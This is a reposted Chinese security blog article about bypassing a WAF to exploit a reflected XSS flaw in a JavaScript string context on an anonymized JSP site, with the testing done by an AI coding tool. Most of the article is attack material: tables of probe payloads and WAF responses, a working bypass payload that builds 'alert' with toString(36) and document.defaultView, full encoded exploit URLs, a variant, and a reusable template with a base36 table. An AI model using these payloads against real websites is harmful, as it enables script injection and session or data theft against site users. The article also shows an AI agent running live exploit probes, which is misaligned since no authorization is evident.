测试XSS弹窗被重置?绕过它只花了3毛钱!

admin 2026-08-10 04:42:24 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细记录了在实战中测试XSS漏洞时绕过WAF的过程。通过分析注入点(JavaScript字符串上下文)和WAF规则(检测危险函数名、括号、全局对象等),最终利用document.defaultView和toString(36)编码组合出绕过payload,成功执行弹窗。测试借助AI工具(TraeIDE)辅助,成本仅3毛钱。关键发现是WAF具备强解码能力,但无法检测通过对象属性引用和进制编码组合的调用方式。 综合评分: 87 文章分类: WEB安全,实战经验,漏洞分析


cover_image

测试 XSS 弹窗被重置?绕过它只花了 3 毛钱!

原创

xazlsec xazlsec

信安之路

2026年7月28日 10:26 山西

在小说阅读器读本章

去阅读

信安之路官网:www.xazlsec.com,服务包括:自学成长平台、体系化学安全知识库、SRC 资产监控、历史漏洞POC

在实战中测试发现一个疑似存在 XSS 漏洞的参数接口,可控参数位置如图:

双引号未转义和编码,当插入明显的弹窗 payload 时,发现被 WAF 拦截后,请求重置了,如图:

如果想利用该漏洞实现弹窗验证,该如何组合 payload?这是一个复杂的问题,在没有 AI 之前,需要超强的技术储备以及大量测试才可实现,既然有了 AI,那就让它来吧,工具使用 Trae IDE,配置好自己的 DeepSeek API key,然后安装好 Chrome DevTools MCP 服务,然后就可以开始测试了。最终组合出的 Payload:

word=%22%3Bvar%20g%3Ddocument.defaultView%3Bg%5B(10).toString(36)%2B(21).toString(36)%2B(14).toString(36)%2B(27).toString(36)%2B(29).toString(36)%5D(1)%2F%2F

实战效果如图:

全部测试完成,只消耗了 3 毛钱,性价比超高:

对我而言,整个测试过程非常有价值,当然我认为对你来说也是很想知道它是如何一步一步测试的,于是我让他将整个测试过程进行了总结,形成文档供大家参考。XSS WAF 绕过分析与测试报告如下:

1. 目标概述

  • 目标地址http://xxxxx.jsp?word=asddsdd
  • 漏洞参数word
  • 漏洞类型: Reflected XSS(参数内容回显在页面中)
  • 测试目标: 找到能绕过 WAF 并执行弹窗(alert/confirm/prompt)的 payload
初始 Payload 素材

来自 xss 知识文件中的各类 href-based XSS payload,涵盖:

| 类型 | 示例 | | — | — | | 基本 javascript: | <a href="javascript:alert('test')">link</a> | | HTML 实体编码 | <a href="java&#115;cript:alert('xss')">link</a> | | VBScript | <a href='vbscript:MsgBox("XSS")'>link</a> | | 反引号语法 | <a href="javascript:confirm1">link</a> | | 十六进制转义 | <a href="javascript:\u0061lert&#x28;1&#x29">Hello</a> | | URL 编码 | <a href="javascript:%61%6c%65%72%74%28%31%29">link</a> | | Hex 转义 | <a href=javascript:eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")>2</a> | | Base64 | <a href="data:text/html;base64,...">test</a> | | 混合编码 | <iframe/src="data:text&sol;html;&Tab;base64&NewLine;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg=="> |


2. 注入点分析

2.1 参数回显位置

访问 http://xxxxxx?word=XXXXX 后,通过分析 HTML 源码,发现参数在 三个位置回显

位置 1: 页面文本内容(div)
```
<divid="jiansuocelue">检索条件:XXXXX</div>
###### 位置 2: JavaScript 字符串上下文(关键注入点)
$(function(){
&nbsp; &nbsp;&nbsp;varword="XXXXX"; &nbsp; &nbsp;// ← 这里是注入点
&nbsp; &nbsp;&nbsp;$("#ac_keybox_0").val(word);
})
###### 位置 3: 搜索框 input 的 value 属性
<inputvalue="XXXXX">
##### 2.2 注入点选择

**位置 2(JavaScript 字符串上下文)是最有希望的注入点**,因为突破字符串后可以直接执行任意 JavaScript 代码:
varword="";[CODE_HERE]//";
---

#### 3. WAF 探测与规则分析

##### 3.1 测试方法

通过逐次修改&nbsp;`word`&nbsp;参数值,观察服务器响应来判断 WAF 规则:

* **连接重置**&nbsp;(`ERR_CONNECTION_RESET`) → WAF 在网络层拦截(检测到 JS 执行相关模式)
* **返回"非法请求"页面**&nbsp;→ WAF 在应用层拦截(检测到 HTML 标签等)
* **正常返回页面**&nbsp;→ 通过检测

##### 3.2 WAF 规则详细清单

###### 规则组 A: HTML 标签(触发"非法请求")

| 测试 Payload | 结果 |
| --- | --- |
| `word=test123` | 正常 |
| `word=<div>hello</div>` | 非法请求 |
| `word=<a href="test">click</a>` | 非法请求 |
| `word=<script>alert(1)</script>` | 连接重置(同时触发了规则组A和B) |
| `word=<img src=x onerror=alert(1)>` | 连接重置 |

**结论**: 任何包含&nbsp;`<`&nbsp;的 HTML 标签都被应用层 WAF 拦截。

###### 规则组 B: 危险函数名 + 括号/反引号(触发连接重置)

| 测试 Payload | 结果 | 说明 |
| --- | --- | --- |
| `word=alert(1)` | 连接重置 | 基本 alert 调用 |
| `word=alert(1` | 正常 | 无闭合括号 |
| `word=alert` | 正常 | 单独函数名 |
| `word=aLeRt(1)` | 连接重置 | 大小写不敏感 |
| `word=confirm(1)` | 连接重置 | confirm 同样被拦截 |
| `word=confirm\`1`` | 连接重置 | 反引号语法也被拦截 |
| `word=confirm\`1` | 正常 | 无闭合反引号 |
| `word=prompt(1)` | 连接重置 | prompt 同样被拦截 |
| `word=eval(1)` | 连接重置 | eval 被拦截 |
| `word=Function('a')` | 连接重置 | 构造函数被拦截 |
| `word=setTimeout('a',0)` | 连接重置 | setTimeout 被拦截 |
| `word=fromCharCode(97)` | 连接重置 | fromCharCode 被拦截 |
| `word=write(1)` | 正常 | 允许 |
| `word=atob('a')` | 正常 | 允许 |
| `word=unescape('a')` | 正常 | 允许 |
| `word=Reflect.get(1,'a')` | 正常 | 允许 |
| `word=alerta(1)` | 正常 | 随机函数名允许 |

**结论**: WAF 维护了一个危险函数名黑名单(大小写不敏感),检测到这些函数名与&nbsp;`(`&nbsp;或反引号&nbsp;`` ` ``&nbsp;组合时触发连接重置。

###### 规则组 C: 全局对象 + 方括号 + 函数调用(触发连接重置)

| 测试 Payload | 结果 |
| --- | --- |
| `word=this[1]` | 正常(无函数调用) |
| `word=this[1](1)` | 连接重置 |
| `word=self[1](1)` | 连接重置 |
| `word=window[1](1)` | 连接重置 |
| `word=top[1](1)` | 连接重置 |
| `word=parent[1](1)` | 连接重置 |
| `word=g[1](1)`&nbsp;(g 是普通变量) | 正常 |
| `word=x[1](1)`&nbsp;(x 是未定义变量) | 正常 |

**结论**: WAF 检测&nbsp;`this[`&nbsp;/&nbsp;`self[`&nbsp;/&nbsp;`window[`&nbsp;/&nbsp;`top[`&nbsp;/&nbsp;`parent[`&nbsp;后跟&nbsp;`](`&nbsp;的模式。

###### 规则组 D:&nbsp;`constructor`&nbsp;原型链遍历(触发连接重置)

| 测试 Payload | 结果 |
| --- | --- |
| `word=([].constructor)` | 正常 |
| `word=([].constructor.constructor('1')())` | 连接重置 |
| `word=([].constructor['constructor']('1')())` | 连接重置 |
| `word=var c=[];c['constructor']('1')` | 连接重置 |

**结论**:&nbsp;`constructor[`&nbsp;+&nbsp;`](`&nbsp;或&nbsp;`constructor.constructor(`&nbsp;均被拦截。

###### 规则组 E:&nbsp;`function`&nbsp;关键字 + 立即执行(触发连接重置)

| 测试 Payload | 结果 |
| --- | --- |
| `word=(function(){})` | 正常(未执行) |
| `word=(function(){})()` | 连接重置 |
| `word=(()=>1)()` | 正常(箭头函数允许) |

**结论**:&nbsp;`function`&nbsp;关键字 +&nbsp;`{}()`&nbsp;模式被拦截,但箭头函数 IIFE 可以绕过。

###### 规则组 F: 编码绕过检测(全部失败)

| 测试 Payload | 结果 | 说明 |
| --- | --- | --- |
| `word=\u0061lert(1)` | 连接重置 | Unicode 转义被检测 |
| `word=\x61lert\x28\x31\x29` | 连接重置 | 十六进制转义被检测 |
| `word=\141\154\145\162\164\050\061\051` | 连接重置 | 八进制转义被检测 |
| `word='ale'+'rt(1)'` | 连接重置 | 字符串拆分被检测(推测 WAF 重构了字符串) |
| `word=atob('YWxlcnQoMSk=')` | 连接重置 | Base64 被解码检测 |
| `word=atob('YWxlcnQ=')` | 非法请求 | Base64 编码的&nbsp;`alert`&nbsp;函数名也被检测 |

**结论**: WAF 具备极强的解码能力,包括 URL 解码、Unicode 解码、Base64 解码、字符串重构等。

---

#### 4. 绕过尝试历程

##### 阶段 1: 基础尝试(全部失败)

| ### | Payload | 结果 | 原因 |
| --- | --- | --- | --- |
| 1 | `<script>alert(1)</script>` | 连接重置 | HTML标签 + alert( |
| 2 | `"><img src=x onerror=alert(1)>` | 连接重置 | 同上 |
| 3 | `<a href="javascript:confirm(1)">link</a>` | 连接重置 | HTML标签 |
| 4 | `");alert(1);//` | 连接重置 | alert( 被拦截 |
| 5 | `test"onfocus="open()"//` | 非法请求 | HTML 属性注入 |

##### 阶段 2: 确认基本注入能力

| ### | Payload | 结果 | 意义 |
| --- | --- | --- | --- |
| 6 | `alert(1` | 正常 | 确认 WAF 检测闭合括号 |
| 7 | `alert` | 正常 | 单独函数名安全 |
| 8 | `alerta(1)` | 正常 | 随机函数名安全 |
| 9 | `x(1)` | 正常 | 简单函数调用安全 |
| 10 | `x[1](1)` | 正常 | 方括号调用安全 |
| 11 | `";location=1//` | 跳转主页面 | **确认 JavaScript 代码可以执行!** |

##### 阶段 3: 解码绕过尝试

| ### | Payload | 结果 |
| --- | --- | --- |
| 12 | `\u0061lert(1)` | 连接重置 |
| 13 | `\u0061lert\x28\x31\x29` | 连接重置 |
| 14 | `\141\154\145\162\164\050\061\051` | 连接重置 |
| 15 | `'ale'+'rt(1)'` | 连接重置 |
| 16 | `atob('YWxlcnQoMSk=')` | 连接重置 |
| 17 | `atob('YWx')+atob('ZXJ0KDEp')` | 连接重置 |

##### 阶段 4: 原型链 & 函数构造绕过

| ### | Payload | 结果 |
| --- | --- | --- |
| 18 | `([]).constructor` | 正常 |
| 19 | `([]).constructor.constructor('return 1')()` | 连接重置 |
| 20 | `([]).constructor['constructor']('1')()` | 连接重置 |
| 21 | `var c=[];c['constructor']('1')()` | 连接重置 |
| 22 | `(function(){})()` | 连接重置 |
| 23 | `(()=>1)()` | 正常(可执行但无法调用 alert) |

##### 阶段 5: 对象引用绕过

| ### | Payload | 结果 |
| --- | --- | --- |
| 24 | `Reflect.get(window,'a')(1)` | 连接重置 |
| 25 | `Reflect.get(1,'a')` | 正常 |
| 26 | `Reflect.get(this,'a')(1)` | 连接重置 |
| 27 | `document.defaultView['a'](1)` | 正常! |
| 28 | `var g=document.defaultView;g['a'](1)` | 正常! |

##### 阶段 6: 函数名构造绕过

| ### | Payload | 结果 |
| --- | --- | --- |
| 29 | `g['ale'+'rt'](1)` | 连接重置 |
| 30 | `g[atob('YWxlcnQ=')](1)` | 非法请求(WAF 检测到 base64 编码的 alert) |
| 31 | `g[(10).toString(36)+(21).toString(36)+(14).toString(36)+(27).toString(36)+(29).toString(36)](1)` | **成功!弹出 alert(1)** |

---

#### 5. 成功 Payload

##### 5.1 最终绕过 Payload

";var g=document.defaultView;g[(10).toString(36)+(21).toString(36)+(14).toString(36)+(27).toString(36)+(29).toString(36)](1)//
##### 5.2 完整 URL

http://xxxxx.jsp?word=%22%3Bvar%20g%3Ddocument.defaultView%3Bg%5B(10).toString(36)%2B(21).toString(36)%2B(14).toString(36)%2B(27).toString(36)%2B(29).toString(36)%5D(1)%2F%2F
##### 5.3 绕过原理拆解

"; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// 突破 JavaScript 字符串
varg=document.defaultView; &nbsp;&nbsp;// 获取 window 对象(避开 window/self/this 关键字)
g[ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// 方括号属性访问
&nbsp; (10).toString(36)&nbsp;+&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// 'a'
&nbsp; (21).toString(36)&nbsp;+&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// 'l'
&nbsp; (14).toString(36)&nbsp;+&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// 'e'
&nbsp; (27).toString(36)&nbsp;+&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// 'r'
&nbsp; (29).toString(36) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 't'
] &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// → g['alert'] → window.alert
(1) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 调用 alert(1)
// &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// 注释掉后续代码
##### 5.4 同款变体(反引号语法)

对应知识文件中 line 21 的&nbsp;`confirm\`1`` 风格:

";var g=document.defaultView;g[(10).toString(36)+(21).toString(36)+(14).toString(36)+(27).toString(36)+(29).toString(36)]`1`//
URL:

http://xxxxx.jsp?word=%22%3Bvar%20g%3Ddocument.defaultView%3Bg%5B(10).toString(36)%2B(21).toString(36)%2B(14).toString(36)%2B(27).toString(36)%2B(29).toString(36)%5D%601%60%2F%2F
##### 5.5 绕过技巧对应表

| WAF 规则 | 绕过方法 |
| --- | --- |
| 拦截&nbsp;`alert(` | 用&nbsp;`(10).toString(36)`&nbsp;逐字母构造&nbsp;`'alert'`,`alert`&nbsp;关键字不出现在 URL 中 |
| 拦截&nbsp;`this[`&nbsp;/&nbsp;`self[`&nbsp;/&nbsp;`window[` | 用&nbsp;`document.defaultView`&nbsp;获取&nbsp;`window`&nbsp;对象 |
| 拦截方括号+函数调用&nbsp;`s[1](1)` | **普通变量**的方括号调用不被拦截(`g['alert'](1)`&nbsp;通过) |
| 拦截 Base64 编码 | `toString(36)`&nbsp;只有数字和 dot 号,不触发 Base64 检测 |
| 拦截&nbsp;`function(){}()` | 不使用函数声明,直接用语句执行 |
| 拦截&nbsp;`(`&nbsp;闭合模式 | `(1)`&nbsp;单独出现不被拦截,只在特定函数名后触发 |

---

#### 6. 成功验证

测试过程中浏览器&nbsp;**成功弹出了&nbsp;`alert: 1`&nbsp;对话框**,并通过&nbsp;`handle_dialog`&nbsp;确认关闭:

Navigation timeout of 10000 ms exceeded.
### Open dialog
alert: 1.
Call handle_dialog to handle it before continuing.
---

#### 7. 总结

##### 无法绕过的方式

素材文件中的所有&nbsp;`<a href>`&nbsp;类 payload 均无法直接使用,因为:

1. 注入点不在&nbsp;`<a>`&nbsp;标签的&nbsp;`href`&nbsp;属性中,而在&nbsp;`<script>`&nbsp;字符串中
2. 即使尝试注入&nbsp;`<a>`&nbsp;标签,`<`&nbsp;也会被 WAF 拦截返回"非法请求"

##### 通用绕过思路

对于此类强 WAF,以下思路组合可以有效突破:

1. **避开黑名单函数名**: 用&nbsp;`toString(36)`&nbsp;或类似动态字符串构造方法
2. **避开全局对象关键字**: 用&nbsp;`document.defaultView`&nbsp;/&nbsp;`(function(){return this;})()`&nbsp;等间接引用
3. **避开编码检测**: 不依赖 Base64/Unicode 转义,使用纯计算方式构造
4. **善用允许的函数调用模式**: 普通变量 + 方括号 + 括号调用&nbsp;`x[key](args)`&nbsp;通常不被拦截

##### 可用的通用模板

// 通用模板 - 替换 target_function_name 的 base36 对应数字
";var _g=document.defaultView;
_g[
&nbsp;&nbsp;// 在此用 toString(36) 构造函数名
&nbsp; (N1).toString(36)+(N2).toString(36)+(N3).toString(36)+...
](参数)//

“`

base36 字母对照表(快速查询):

| 字母 | 数字 | 字母 | 数字 | 字母 | 数字 | | — | — | — | — | — | — | | a | 10 | b | 11 | c | 12 | | d | 13 | e | 14 | f | 15 | | g | 16 | h | 17 | i | 18 | | j | 19 | k | 20 | l | 21 | | m | 22 | n | 23 | o | 24 | | p | 25 | q | 26 | r | 27 | | s | 28 | t | 29 | u | 30 | | v | 31 | w | 32 | x | 33 | | y | 34 | z | 35 | | |


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:信安之路 xazlsec xazlsec《测试 XSS 弹窗被重置?绕过它只花了 3 毛钱!》

欢迎加入AI安全社群 网络安全文章

欢迎加入AI安全社群

文章总结: 该文档为AI安全社群推广内容,邀请用户加入微信社群和资料下载社群,旨在聚集AI安全领域从业者与爱好者,提供交流与资源共享平台。 综合评分: 40 文
评论:0   参与:  0